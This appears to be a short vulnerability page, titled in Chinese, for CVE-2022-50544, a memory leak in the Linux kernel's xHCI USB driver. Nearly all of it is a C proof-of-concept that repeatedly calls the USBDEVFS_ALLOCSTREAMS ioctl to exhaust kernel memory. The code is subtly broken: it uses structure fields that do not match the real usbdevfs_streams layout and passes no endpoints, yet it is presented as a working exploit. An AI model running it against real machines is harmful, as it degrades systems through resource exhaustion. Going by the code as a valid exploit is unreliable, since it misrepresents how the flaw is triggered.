CVE-2022-50544 Linux内核xHCI驱动内存泄漏漏洞

// PoC for CVE-2022-50544: Trigger memory leak in xhci_alloc_stream_info() // This PoC demonstrates how to trigger the memory leak by repeatedly // attempting to allocate USB streams and forcing error conditions. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <linux/usbdevice_fs.h> // Simplified trigger: open a USB device and attempt stream allocation // operations that may fail, causing the memory leak path to be exercised. int trigger_memory_leak(const char *usb_device_path) { int fd; int ret; int iteration = 0; fd = open(usb_device_path, O_RDWR); if (fd < 0) { perror("Failed to open USB device"); return -1; } // Repeatedly attempt operations that trigger xhci_alloc_stream_info() // In a real exploit, the attacker would need to: // 1. Have a USB device that supports bulk streams // 2. Issue USBDEVFS_ALLOCSTREAM or equivalent ioctl calls // 3. Force failures in the allocation path (e.g., via resource exhaustion) while (iteration < 1000) { struct usbdevfs_streams streams; // Attempt to allocate streams - this calls into xhci_alloc_stream_info() streams.urb_count = 1; // Minimal stream count streams.streams = 0; ret = ioctl(fd, USBDEVFS_ALLOCSTREAMS, &streams); if (ret < 0 && errno != EBUSY) { // Error path triggered - memory leak occurs here fprintf(stderr, "Iteration %d: ioctl failed (expected for PoC): %s\n", iteration, strerror(errno)); } iteration++; } close(fd); printf("PoC completed. Check kernel memory usage for leaks.\n"); return 0; } int main(int argc, char *argv[]) { const char *dev_path = "/dev/bus/usb/001/001"; if (argc > 1) { dev_path = argv[1]; } printf("CVE-2022-50544 PoC - xhci memory leak trigger\n"); printf("Target device: %s\n", dev_path); printf("WARNING: Run as root with a USB device that supports bulk streams\n\n"); return trigger_memory_leak(dev_path); }